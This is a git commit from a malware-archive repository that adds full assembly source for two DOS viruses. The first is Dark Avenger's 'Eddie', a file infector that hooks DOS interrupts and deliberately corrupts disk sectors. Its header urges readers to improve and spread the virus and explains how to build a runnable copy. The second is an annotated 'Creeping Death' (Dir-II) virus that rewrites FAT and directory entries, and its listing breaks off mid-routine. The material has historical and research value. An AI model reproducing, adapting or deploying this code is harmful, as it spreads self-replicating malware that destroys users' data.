re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
@@ -0,0 +1,982 @@
; "Blessed is he who expects nothing, for he shall not be disappointed."
; The original source of one of the first Bulgarian viruses is in front of
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly troughout the country and made a
; quick round the globe. (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the aniversary of its creation, the source is
; distributed freely. You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one, who intentionaly distributes this source modified in any way will
; be punished! Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself). Pay
; attention to the fact that after you assemble the source, the resulting
; .COM-file cannot be run. For that purpose you have to create a three-byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files. Don't try to place a JMP at the beginning of the source.
; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warrant is made about the product
; functionability or quality.
; I cannot resist to express my special gratitude to my "populazer" Dipl.
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!
code segment
assume cs:code,ds:code
copyright:
db 'Eddie lives...somewhere in time!',0
date_stamp:
dd 12239000h
checksum:
db 30
; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
exit_exe:
mov bx,es
add bx,10h
add bx,word ptr cs:[si+call_adr+2]
mov word ptr cs:[si+patch+2],bx
mov bx,word ptr cs:[si+call_adr]
mov word ptr cs:[si+patch],bx
mov bx,es
add bx,10h
add bx,word ptr cs:[si+stack_pointer+2]
mov ss,bx
mov sp,word ptr cs:[si+stack_pointer]
db 0eah ;JMP XXXX:YYYY
patch:
dd 0
; Returns control to a .COM file:
; Restores the first 3 bytes in the
; beginning of the file, loads SP and IP.
exit_com:
mov di,100h
add si,offset my_save
movsb
movsw
mov sp,ds:[6] ;This is incorrect
xor bx,bx
push bx
jmp [si-11] ;si+call_adr-top_file
; Program entry point
startup:
call relative
relative:
pop si ;SI = $
sub si,offset relative
cld
cmp word ptr cs:[si+my_save],5a4dh
je exe_ok
cli
mov sp,si ;A separate stack is supported for
add sp,offset top_file+100h ;the .COM files, in order not to
sti ;overlap the stack by the program
cmp sp,ds:[6]
jnc exit_com
exe_ok:
push ax
push es
push si
push ds
mov di,si
; Looking for the address of INT 13h handler in ROM-BIOS
xor ax,ax
push ax
mov ds,ax
les ax,ds:[13h*4]
mov word ptr cs:[si+fdisk],ax
mov word ptr cs:[si+fdisk+2],es
mov word ptr cs:[si+disk],ax
mov word ptr cs:[si+disk+2],es
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
cmp ax,0f000h ;for diskettes if a hard disk is
jne nofdisk ;available
mov word ptr cs:[si+disk+2],ax
mov ax,ds:[40h*4]
mov word ptr cs:[si+disk],ax
mov dl,80h
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
cmp ax,0f000h ;where the original INT 13h vector is
je isfdisk
cmp ah,0c8h
jc nofdisk
cmp ah,0f4h
jnc nofdisk
test al,7fh
jnz nofdisk
mov ds,ax
cmp ds:[0],0aa55h
jne nofdisk
mov dl,ds:[2]
isfdisk:
mov ds,ax
xor dh,dh
mov cl,9
shl dx,cl
mov cx,dx
xor si,si
findvect:
lodsw ;Occasionally begins with:
cmp ax,0fa80h ; CMP DL,80h
jne altchk ; JNC somewhere
lodsw
cmp ax,7380h
je intchk
jne nxt0
altchk:
cmp ax,0c2f6h ;or with:
jne nxt ; TEST DL,80h
lodsw ; JNZ somewhere
cmp ax,7580h
jne nxt0
intchk:
inc si ;then there is:
lodsw ; INT 40h
cmp ax,40cdh
je found
sub si,3
nxt0:
dec si
dec si
nxt:
dec si
loop findvect
jmp short nofdisk
found:
sub si,7
mov word ptr cs:[di+fdisk],si
mov word ptr cs:[di+fdisk+2],ds
nofdisk:
mov si,di
pop ds
; Check whether the program is present in memory:
les ax,ds:[21h*4]
mov word ptr cs:[si+save_int_21],ax
mov word ptr cs:[si+save_int_21+2],es
push cs
pop ds
cmp ax,offset int_21
jne bad_func
xor di,di
mov cx,offset my_size
scan_func:
lodsb
scasb
jne bad_func
loop scan_func
pop es
jmp go_program
; Move the program to the top of memory:
; (it's full of rubbish and bugs here)
bad_func:
pop es
mov ah,49h
int 21h
mov bx,0ffffh
mov ah,48h
int 21h
sub bx,(top_bz+my_bz+1ch-1)/16+2
jc go_program
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
stc
sbb es:[2],bx
push es
mov es,cx
mov ah,4ah
int 21h
mov ax,es
dec ax
mov ds,ax
mov word ptr ds:[1],8
call mul_16
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call mul_16
add ax,ds:[6]
adc dx,0
sub ax,bx
sbb dx,cx
jc mem_ok
sub ds:[6],ax ;Reduction of the segment size
mem_ok:
pop si
push si
push ds
push cs
xor di,di
mov ds,di
lds ax,ds:[27h*4]
mov word ptr cs:[si+save_int_27],ax
mov word ptr cs:[si+save_int_27+2],ds
pop ds
mov cx,offset aux_size
rep movsb
xor ax,ax
mov ds,ax
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
mov ds:[21h*4+2],es
mov ds:[27h*4],offset int_27
mov ds:[27h*4+2],es
mov word ptr es:[filehndl],ax
pop es
go_program:
pop si
; Smash the next disk sector:
xor ax,ax
mov ds,ax
mov ax,ds:[13h*4]
mov word ptr cs:[si+save_int_13],ax
mov ax,ds:[13h*4+2]
mov word ptr cs:[si+save_int_13+2],ax
mov ds:[13h*4],offset int_13
add ds:[13h*4],si
mov ds:[13h*4+2],cs
pop ds
push ds
push si
mov bx,si
lds ax,ds:[2ah]
xor si,si
mov dx,si
scan_envir: ;Fetch program's name
lodsw ;(with DOS 2.x it doesn't work anyway)
dec si
test ax,ax
jnz scan_envir
add si,3
lodsb
; The following instruction is a complete nonsense. Try to enter a drive &
; directory path in lowercase, then run an infected program from there.
; As a result of an error here + an error in DOS the next sector is not
; smashed. Two memory bytes are smashed instead, most probably onto the
; infected program.
sub al,'A'
mov cx,1
push cs
pop ds
add bx,offset int_27
push ax
push bx
push cx
int 25h
pop ax
pop cx
pop bx
inc byte ptr [bx+0ah]
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
jnz store_sec ;nothing is not enough for some.
mov al,[bx+10h]
xor ah,ah
mul word ptr [bx+16h]
add ax,[bx+0eh]
push ax
mov ax,[bx+11h]
mov dx,32
mul dx
div word ptr [bx+0bh]
pop dx
add dx,ax
mov ax,[bx+8]
add ax,40h
cmp ax,[bx+13h]
jc store_new
inc ax
and ax,3fh
add ax,dx
cmp ax,[bx+13h]
jnc small_disk
store_new:
mov [bx+8],ax
store_sec:
pop ax
xor dx,dx
push ax
push bx
push cx
int 26h
; The writing trough this interrupt is not the smartest thing, bacause it
; can be intercepted (what Vesselin Bontchev has managed to notice).
pop ax
pop cx
pop bx
pop ax
cmp byte ptr [bx+0ah],0
jne not_now
mov dx,[bx+8]
pop bx
push bx
int 26h
small_disk:
pop ax
not_now:
pop si
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[si+save_int_13]
mov ds:[13h*4],ax
mov ax,word ptr cs:[si+save_int_13+2]
mov ds:[13h*4+2],ax
pop ds
pop ax
cmp word ptr cs:[si+my_save],5a4dh
jne go_exit_com
jmp exit_exe
go_exit_com:
jmp exit_com
int_24:
mov al,3 ;This instruction seems unnecessary
iret
; INT 27h handler (this is necessary)
int_27:
pushf
call alloc
popf
jmp dword ptr cs:[save_int_27]
; During the DOS functions Set & Get Vector it seems that the virus has not
; intercepted them (this is a doubtfull advantage and it is a possible
; source of errors with some "intelligent" programs)
set_int_27:
mov word ptr cs:[save_int_27],dx
mov word ptr cs:[save_int_27+2],ds
popf
iret
set_int_21:
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
popf
iret
get_int_27:
les bx,dword ptr cs:[save_int_27]
popf
iret
get_int_21:
les bx,dword ptr cs:[save_int_21]
popf
iret
exec:
call do_file
call alloc
popf
jmp dword ptr cs:[save_int_21]
db 'Diana P.',0
; INT 21h handler. Infects files during execution, copying, browsing or
; creating and some other operations. The execution of functions 0 and 26h
; has bad consequences.
int_21:
push bp
mov bp,sp
push [bp+6]
popf
pop bp
pushf
call ontop
cmp ax,2521h
je set_int_21
cmp ax,2527h
je set_int_27
cmp ax,3521h
je get_int_21
cmp ax,3527h
je get_int_27
cld
cmp ax,4b00h
je exec
cmp ah,3ch
je create
cmp ah,3eh
je close
cmp ah,5bh
jne not_create
create:
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
jne dont_touch
call see_name
jnz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,offset filehndl
stosw
mov si,dx
mov cx,65
move_name:
lodsb
stosb
test al,al
jz all_ok
loop move_name
mov word ptr es:[filehndl],cx
all_ok:
pop ax
pop cx
pop di
pop si
pop es
go_exit:
popf
jnc int_exit ;JMP
close:
cmp bx,word ptr cs:[filehndl]
jne dont_touch
test bx,bx
jz dont_touch
call alloc
popf
call function
jc int_exit
pushf
push ds
push cs
pop ds
push dx
mov dx,offset filehndl+2
call do_file
mov word ptr cs:[filehndl],0
pop dx
pop ds
jmp go_exit
not_create:
cmp ah,3dh
je touch
cmp ah,43h
je touch
cmp ah,56h ;Unfortunately, the command inter-
jne dont_touch ;preter does not use this function
touch:
call see_name
jnz dont_touch
call do_file
dont_touch:
call alloc
popf
call function
int_exit:
pushf
push ds
call get_chain
mov byte ptr ds:[0],'Z'
pop ds
popf
dummy proc far ;???
ret 2
dummy endp
; Checks whether the file is .COM or .EXE.
; It is not called upon file execution.
see_name:
push ax
push si
mov si,dx
scan_name:
lodsb
test al,al
jz bad_name
cmp al,'.'
jnz scan_name
call get_byte
mov ah,al
call get_byte
cmp ax,'co'
jz pos_com
cmp ax,'ex'
jnz good_name
call get_byte
cmp al,'e'
jmp short good_name
pos_com:
call get_byte
cmp al,'m'
jmp short good_name
bad_name:
inc al
good_name:
pop si
pop ax
ret
; Converts into lowercase (the subroutines are a great thing).
get_byte:
lodsb
cmp al,'C'
jc byte_got
cmp al,'Y'
jnc byte_got
add al,20h
byte_got:
ret
; Calls the original INT 21h.
function:
pushf
call dword ptr cs:[save_int_21]
ret
; Arrange to infect an executable file.
do_file:
push ds ;Save the registers in stack
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax
mov ds,ax
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
push es ;and changes them with what is needed
push ax
mov ds:[24h*4],offset int_24
mov ds:[24h*4+2],cs
les ax,ds:[13h*4]
mov word ptr cs:[save_int_13],ax
mov word ptr cs:[save_int_13+2],es
mov ds:[13h*4],offset int_13
mov ds:[13h*4+2],cs
push es
push ax
mov ds,si
xor cx,cx ;Arranges to infect Read-only files
mov ax,4300h
call function
mov bx,cx
and cl,0feh
cmp cl,bl
je dont_change
mov ax,4301h
call function
stc
dont_change:
pushf
push ds
push dx
push bx
mov ax,3d02h ;Now we can safely open the file
call function
jc cant_open
mov bx,ax
call disease
mov ah,3eh ;Close it
call function
cant_open:
pop cx
pop dx
pop ds
popf
jnc no_update
mov ax,4301h ;Restores file's attributes
call function ;if they were changed (just in case)
no_update:
xor ax,ax ;Restores INT 13h and INT 24h
mov ds,ax
pop ds:[13h*4]
pop ds:[13h*4+2]
pop ds:[24h*4]
pop ds:[24h*4+2]
pop dx ;Register restoration
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
; This routine is the working horse.
disease:
push cs
pop ds
push cs
pop es
mov dx,offset top_save ;Read the file beginning
mov cx,18h
mov ah,3fh
int 21h
xor cx,cx
xor dx,dx
mov ax,4202h ;Save file length
int 21h
mov word ptr [top_save+1ah],dx
cmp ax,offset my_size ;This should be top_file
sbb dx,0
jc stop_fuck_2 ;Small files are not infected
mov word ptr [top_save+18h],ax
cmp word ptr [top_save],5a4dh
jne com_file
mov ax,word ptr [top_save+8]
add ax,word ptr [top_save+16h]
call mul_16
add ax,word ptr [top_save+14h]
adc dx,0
mov cx,dx
mov dx,ax
jmp short see_sick
com_file:
cmp byte ptr [top_save],0e9h
jne see_fuck
mov dx,word ptr [top_save+1]
add dx,103h
jc see_fuck
dec dh
xor cx,cx
; Check if the file is properly infected
see_sick:
sub dx,startup-copyright
sbb cx,0
mov ax,4200h
int 21h
add ax,offset top_file
adc dx,0
cmp ax,word ptr [top_save+18h]
jne see_fuck
cmp dx,word ptr [top_save+1ah]
jne see_fuck
mov dx,offset top_save+1ch
mov si,dx
mov cx,offset my_size
mov ah,3fh
int 21h
jc see_fuck
cmp cx,ax
jne see_fuck
xor di,di
next_byte:
lodsb
scasb
jne see_fuck
loop next_byte
stop_fuck_2:
ret
see_fuck:
xor cx,cx ;Seek to the end of file
xor dx,dx
mov ax,4202h
int 21h
cmp word ptr [top_save],5a4dh
je fuck_exe
add ax,offset aux_size+200h ;Watch out for too big .COM files
adc dx,0
je fuck_it
ret
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
fuck_exe:
mov dx,word ptr [top_save+18h]
neg dl
and dx,0fh
xor cx,cx
mov ax,4201h
int 21h
mov word ptr [top_save+18h],ax
mov word ptr [top_save+1ah],dx
fuck_it:
mov ax,5700h ;Get file's date
int 21h
pushf
push cx
push dx
cmp word ptr [top_save],5a4dh
je exe_file ;Very clever, isn't it?
mov ax,100h
jmp short set_adr
exe_file:
mov ax,word ptr [top_save+14h]
mov dx,word ptr [top_save+16h]
set_adr:
mov di,offset call_adr
stosw
mov ax,dx
stosw
mov ax,word ptr [top_save+10h]
stosw
mov ax,word ptr [top_save+0eh]
stosw
mov si,offset top_save ;This offers the possibilities to
movsb ;some nasty programs to restore
movsw ;exactly the original length
xor dx,dx ;of the .EXE files
mov cx,offset top_file
mov ah,40h
int 21h ;Write the virus
jc go_no_fuck ;(don't trace here)
xor cx,ax
jnz go_no_fuck
mov dx,cx
mov ax,4200h
int 21h
cmp word ptr [top_save],5a4dh
je do_exe
mov byte ptr [top_save],0e9h
mov ax,word ptr [top_save+18h]
add ax,startup-copyright-3
mov word ptr [top_save+1],ax
mov cx,3
jmp short write_header
go_no_fuck:
jmp short no_fuck
; Construct the .EXE file's header
do_exe:
call mul_hdr
not ax
not dx
inc ax
jne calc_offs
inc dx
calc_offs:
add ax,word ptr [top_save+18h]
adc dx,word ptr [top_save+1ah]
mov cx,10h
div cx
mov word ptr [top_save+14h],startup-copyright
mov word ptr [top_save+16h],ax
add ax,(offset top_file-offset copyright-1)/16+1
mov word ptr [top_save+0eh],ax
mov word ptr [top_save+10h],100h
add word ptr [top_save+18h],offset top_file
adc word ptr [top_save+1ah],0
mov ax,word ptr [top_save+18h]
and ax,1ffh
mov word ptr [top_save+2],ax
pushf
mov ax,word ptr [top_save+19h]
shr byte ptr [top_save+1bh],1
rcr ax,1
popf
jz update_len
inc ax
update_len:
mov word ptr [top_save+4],ax
mov cx,18h
write_header:
mov dx,offset top_save
mov ah,40h
int 21h ;Write the file beginning
no_fuck:
pop dx
pop cx
popf
jc stop_fuck
mov ax,5701h ;Restore the original file date
int 21h
stop_fuck:
ret
; The following is used by the INT 21h and INT 27h handlers in connection
; to the program hiding in memory from those who don't need to see it.
; The whole system is absurde and meaningless and it is also another source
; for program conflicts.
alloc:
push ds
call get_chain
mov byte ptr ds:[0],'M'
pop ds
; Assures that the program is the first one in the processes,
; which have intercepted INT 21h (yet another source of conflicts).
ontop:
push ds
push ax
push bx
push dx
xor bx,bx
mov ds,bx
lds dx,ds:[21h*4]
cmp dx,offset int_21
jne search_segment
mov ax,ds
mov bx,cs
cmp ax,bx
je test_complete
; Searches the segment of the sucker who has intercepted INT 21h, in
; order to find where it has stored the old values and to replace them.
; Nothing is done for INT 27h.
xor bx,bx
search_segment:
mov ax,[bx]
cmp ax,offset int_21
jne search_next
mov ax,cs
cmp ax,[bx+2]
je got_him
search_next:
inc bx
jne search_segment
je return_control
got_him:
mov ax,word ptr cs:[save_int_21]
mov [bx],ax
mov ax,word ptr cs:[save_int_21+2]
mov [bx+2],ax
mov word ptr cs:[save_int_21],dx
mov word ptr cs:[save_int_21+2],ds
xor bx,bx
; Even if he has not saved them in the same segment, this won't help him.
return_control:
mov ds,bx
mov ds:[21h*4],offset int_21
mov ds:[21h*4+2],cs
test_complete:
pop dx
pop bx
pop ax
pop ds
ret
; Fetch the segment of the last MCB
get_chain:
push ax
push bx
mov ah,62h
call function
mov ax,cs
dec ax
dec bx
next_blk:
mov ds,bx
stc
adc bx,ds:[3]
cmp bx,ax
jc next_blk
pop bx
pop ax
ret
; Multiply by 16
mul_hdr:
mov ax,word ptr [top_save+8]
mul_16:
mov dx,10h
mul dx
ret
db 'This program was written in the city of Sofia '
db '(C) 1988-89 Dark Avenger',0
; INT 13h handler.
; Calls the original vectors in BIOS, if it's a writing call
int_13:
cmp ah,3
jnz subfn_ok
cmp dl,80h
jnc hdisk
db 0eah ;JMP XXXX:YYYY
my_size: ;--- Up to here comparison
disk: ; with the original is made
dd 0
hdisk:
db 0eah ;JMP XXXX:YYYY
fdisk:
dd 0
subfn_ok:
db 0eah ;JMP XXXX:YYYY
save_int_13:
dd 0
call_adr:
dd 100h
stack_pointer:
dd 0 ;The original value of SS:SP
my_save:
int 20h ;The original contents of the first
nop ;3 bytes of the file
top_file: ;--- Up to here the code is written
filehndl equ $ ; in the files
filename equ filehndl+2 ;Buffer for the name of the opened file
save_int_27 equ filename+65 ;Original INT 27h vector
save_int_21 equ save_int_27+4 ;Original INT 21h vector
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
top_save equ save_int_21+4 ;Beginning of the buffer, which
;contains
; - The first 24 bytes read from file
; - File length (4 bytes)
; - The last bytes of the file
; (my_size bytes)
top_bz equ top_save-copyright
my_bz equ my_size-copyright
code ends
end
+563
View File
@@ -0,0 +1,563 @@
; Dark Angel's comments: I spent my entire waking hours looking at this virus.
; I love it. It is my life. I worship the drive it
; infects. Take a look at it. Let not my troubles be
; in vain. Why did I do this? I sacrifice my life for
; the benefit of 40Hex. If you don't read this, I'm
; gonna go join [NuKE].
; Creeping Death V 1.0
;
; (C) Copyright 1991 by VirusSoft Corp.
i13org = 5f8h
i21org = 5fch
dir_2 segment byte public
assume cs:dir_2, ds:dir_2
org 100h
start:
mov sp,600h ; Set up the stack pointer
inc word ptr counter ; Generation counter
xor cx,cx
mov ds,cx ; DS points to interrupt table
lds ax, ds:[0c1h] ; Find interrupt 30h
add ax,21h ; Change it to Int 21h
push ds ; Save it on stack for use by
push ax ; subroutine "jump"
mov ah,30h ; Get DOS version
call jump
cmp al,4 ; DOS 4.X+ : SI = 0
sbb si,si ; DOS 2/3 : SI = -1
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
; "never accessed"
mov bx,60h ; Adjust memory in ES to
mov ah,4ah ; BX paragraphs.
call jump
mov ah,52h ; Get DOS List of Lists
call jump ; to ES:BX
push es:[bx-2] ; Save Segment of first MCB
lds bx,es:[bx] ; DS:BX -> 1st DPB
; (Drive parameter block)
search: mov ax,[bx+si+15h] ; Get segment of device driver
cmp ax,70h ; Is it CONFIG? (I think)
jne next ; If not, try again
xchg ax,cx ; Move driver segment to CX
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
mov di,[bx+si+13h] ; Save offset of device driver
; Original device driver
; address in CX:DI
mov [bx+si+13h],offset header ; Replace with our own
mov [bx+si+15h],cs ; (header)
next: lds bx,[bx+si+19h] ; Get next device block
cmp bx,-1 ; Is it the last one?
jne search ; If not, search it
jcxz install
pop ds ; Restore segment of first
mov ax,ds ; MCB
add ax,ds:[3] ; Go to next MCB
inc ax ; AX = segment next MCB
mov dx,cs ; DX = MCB owning current
dec dx ; program
cmp ax,dx ; Are these the same?
jne no_boot ; If not, we are not currently
; in the middle of a reboot
add word ptr ds:[3],61h ; Increase length owned by
; MCB by 1552 bytes
no_boot: mov ds,dx ; DS = MCB owning current
; program
mov word ptr ds:[1],8 ; Set owner = DOS
mov ds,cx ; DS = segment of original
; device driver
les ax,[di+6] ; ES = offset int handler
; AX = offset strategy entry
mov word ptr cs:str_block,ax ; Save entry point
mov word ptr cs:int_block,es ; And int block for use in
; function _in
cld ; Scan for the write
mov si,1 ; function in the
scan: dec si ; original device driver
lodsw
cmp ax,1effh
jne scan
mov ax,2cah ; Wicked un-yar place o'
cmp [si+4],ax ; doom.
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1 ; Save address of patch
stosw ; area so it can be changed
xchg ax,si ; later.
mov di,offset i13org ; This is in the stack, but
cli ; it is used by "i13pr"
movsw
movsw
mov dx,0c000h ; Scan for hard disk ROM
; Start search @ segment C000h
fdsk1: mov ds,dx ; Load up the segment
xor si,si ; atart at offset 0000h
lodsw ; Scan for the signature
cmp ax,0aa55h ; Is it the signature?
jne fdsk4 ; If not, change segment
cbw ; clear AH
lodsb ; load a byte to AL
mov cl,9
sal ax,cl ; Shift left, 0 filled
fdsk2: cmp [si],6c7h
jne fdsk3
cmp word ptr [si+2],4ch
jne fdsk3
push dx ; Save the segment
push [si+4] ; and offset on stack
jmp short death ; for use by i13pr
install: int 20h
file: db "c:",255,0
fdsk3: inc si ; Increment search offset
cmp si,ax ; If we are not too high,
jb fdsk2 ; try again
fdsk4: inc dx ; Increment search segment
cmp dh,0f0h ; If we are not in high
jb fdsk1 ; memory, try again
sub sp,4 ; effectively push dummy vars.
death: push cs ; on stack for use by i13pr
pop ds
mov bx,ds:[2ch] ; Get environment from PSP
mov es,bx
mov ah,49h ; Release it (to save memory)
call jump
xor ax,ax
test bx,bx ; Is BX = 0?
jz boot ; If so, we are booting now
mov di,1 ; and not running a file
seek: dec di ; Search for end of
scasw ; the environment block
jne seek
lea si,[di+2] ; SI points to filename
jmp short exec ; (in DOS 3.X+)
; Execute that file
boot: mov es,ds:[16h] ; get PSP of parent
mov bx,es:[16h] ; get PSP of parent
dec bx ; go to its MCB
xor si,si
exec: push bx
mov bx,offset param ; Set up parameter block
; for EXEC function
mov [bx+4],cs ; segment to command line
mov [bx+8],cs ; segment to 1st FCB
mov [bx+12],cs ; segment to 2nd FCB
pop ds
push cs
pop es
mov di,offset f_name
push di ; Save filename offset
mov cx,40 ; Copy the filename to
rep movsw ; the buffer
push cs
pop ds
mov ah,3dh ; Handle open file
mov dx,offset file ; "c:ÿ",0
call jump
pop dx ; DS:DX -> filename
mov ax,4b00h ; Load and Execute
call jump ; ES:BX = param block
mov ah,4dh ; Get errorlevel
call jump
mov ah,4ch ; Terminate
jump: pushf ; Simulate an interrupt 21h
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3 ; Write AL sectors from ES:BX
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
; head DH, drive DL
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es ; Move segment of parameter
pop ds ; block to DS
mov al,[bx+2] ; [bx+2] holds command code
cmp al,4 ; Input (read)
je input
cmp al,8 ; Output (write)
je output
cmp al,9 ; Output (write) with verify
je output
call in_ ; Call original device
cmp al,2 ; Request build BPB
jne ppp ; If none of the above, exit
lds si,[bx+12h] ; DS:SI point to BPB table
mov di,offset bpb_buf ; Replace old pointer with
mov es:[bx+12h],di ; a pointer to our own
mov es:[bx+14h],cs ; BPB table
push es ; Save segment of parameters
push cs
pop es
mov cx,16 ; Copy the old BPB table to
rep movsw ; our own
pop es ; Restore parameter segment
push cs
pop ds
mov al,[di+2-32] ; AL = sectors per allocation
cmp al,2 ; unit. If less than
adc al,0 ; 2, increment
cbw ; Extend sign to AH (clear AH)
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
je m32 ; If so, big partition (>32MB)
sub [di+8-32],ax ; Decrease space of disk by
; one allocation unit(cluster)
jmp short ppp ; Exit
m32: sub [di+15h-32],ax ; Handle large partitions
sbb word ptr [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf ; We are outta here!
output: mov cx,0ff09h
call check ; is it a new disk?
jz inf_sec ; If not, go away
call in_ ; Call original device handler
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16 ; Restore the stack
jmp short ppp ; Leave device driver
input: call check ; Is it a new disk?
jz read ; If not, leave
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
cld
lea si,[bx+0eh] ; Load from buffer address
mov cx,8 ; Save device driver request
save: lodsw ; on the stack
push ax
loop save
mov word ptr [bx+14h],1 ; Starting sector number = 1
; (Read 1st FAT)
call driver ; Read one sector
jnz read_ ; If error, exit
mov byte ptr [bx+2],2 ; Otherwise build BPB
call in_ ; Have original driver do the
; work
lds si,[bx+12h] ; DS:SI points to BPB table
mov ax,[si+6] ; Number root directory entries
add ax,15 ; Round up
mov cl,4
shr ax,cl ; Divide by 16 to find sectors
; of root directory
mov di,[si+0bh] ; DI = sectors/FAT
add di,di ; Double for 2 FATs
stc ; Add one for boot record
adc di,ax ; Add sector size of root dir
push di ; to find starting sector of
; data (and read)
cwd ; Clear DX
mov ax,[si+8] ; AX = total sectors
test ax,ax ; If it is zero, then we have
jnz more ; an extended partition(>32MB)
mov ax,[si+15h] ; Load DX:AX with total number
mov dx,[si+17h] ; of sectors
more: xor cx,cx
sub ax,di ; Calculate FAT entry for last
; sector of disk
sbb dx,cx
mov cl,[si+2] ; CL = sectors/cluster
div cx ; AX = cluster #
cmp cl,2 ; If there is more than 1
sbb ax,-1 ; cluster/sector, add one
push ax ; Save cluster number
call convert ; AX = sector number to read
; DX = offset in sector AX
; of FAT entry
; DI = mask for EOF marker
mov byte ptr es:[bx+2],4 ; INPUT (read)
mov es:[bx+14h],ax ; Starting sector = AX
call driver ; One sector only
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
add si,dx ; Go to FAT entry
sub dh,cl ; Calculate a new encryption
adc dx,ax ; value
mov word ptr cs:gad+1,dx ; Change the encryption value
cmp cl,1 ; If there is 0 cluster/sector
je small_ ; then jump to "small_"
mov ax,[si] ; Load AX with offset of FAT
; entry
and ax,di ; Mask it with value from
; "convert" then test to see
; if the sector is fine
cmp ax,0fff7h ; 16 bit reserved/bad
je bad
cmp ax,0ff7h ; 12 bit reserved/bad
je bad
cmp ax,0ff70h ; 12 bit reserved/bad
jne ok
bad: pop ax ; Tried to replicate on a bad
dec ax ; cluster. Try again on a
push ax ; lower one.
call convert ; Find where it is in the FAT
jmp short again ; and try once more
small_: not di ; Reverse mask bits
and [si],di ; Clear other bits
pop ax ; AX = cluster number
push ax
inc ax ; Need to do 2 consecutive
push ax ; bytes
mov dx,0fh
test di,dx
jz here
inc dx ; Multiply by 16
mul dx
here: or [si],ax ; Set cluster to next
pop ax ; Restore cluster of write
call convert ; Calculate buffer offset
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di ; DI = mask from "convert"
dec dx
and dx,di ; Yerg!
not di
and [si],di
or [si],dx ; Set [si] to DI
cmp ax,dx ; Did we change the FAT?
pop ax ; i.e. Are we already on this
pop di ; disk?
mov word ptr cs:pointer+1,ax ; Our own starting cluster
je _read_ ; If we didn't infect, then
; leave the routine. Oh
; welp-o.
mov dx,[si]
push ds
push si
call write ; Update the FAT
pop si
pop ds
jnz _read_ ; Quit if there's an error
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx ; Multiply by sectors/cluster
; to find the sector of the
; write
add ax,di
adc dx,0
push es
pop ds
mov word ptr [bx+12h],2 ; Byte/sector count
mov [bx+14h],ax ; Starting sector #
test dx,dx
jz less
mov word ptr [bx+14h],-1 ; Flag extended partition
mov [bx+1ah],ax ; Handle the sector of the
mov [bx+1ch],dx ; extended partition
less: mov [bx+10h],cs ; Transfer address segment
mov [bx+0eh],100h ; and the offset (duh)
call write ; Zopy ourselves!
; (We want to travel)
_read_: std
lea di,[bx+1ch] ; Restore device driver header
mov cx,8 ; from the stack
load: pop ax
stosw
loop load
_read: call in_ ; Call original device handler
mov cx,9
_inf_sec:
mov di,es:[bx+12h] ; Bytes/Sector
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
sal di,cl ; Multiply by 512
; DI = byte count
xor cl,cl
add di,si ; Go to address in the buffer
xor dl,dl ; Flag for an infection in
; function find
push ds
push si
call find ; Infect the directory
jcxz no_inf
call write ; Write it back to the disk
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
; word
no_inf: pop si
pop ds
inc dx ; Flag for a decryption in
; function find
call find ; Return right information to
; calling program
jmp ppp
;--------Subroutines
find: mov ax,[si+8] ; Check filename extension
cmp ax,"XE" ; in directory structure
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
jnz go_on ; to see if it is too big
test [si+1dh],03ff8h ; <2048B ; Check file size low word
jz go_on ; to see if it is too small
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
jnz go_on ; volume label or system file
test dl,dl ; If none of these, check DX
jnz rest ; If not 0, decrypt
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
cmp ax,[si+1ah] ; Check for same starting
; cluster number as us
je go_on ; If it is, then try another
xchg ax,[si+1ah] ; Otherwise make it point to
; us.
gad: xor ax,1234h ; Encrypt their starting
; cluster
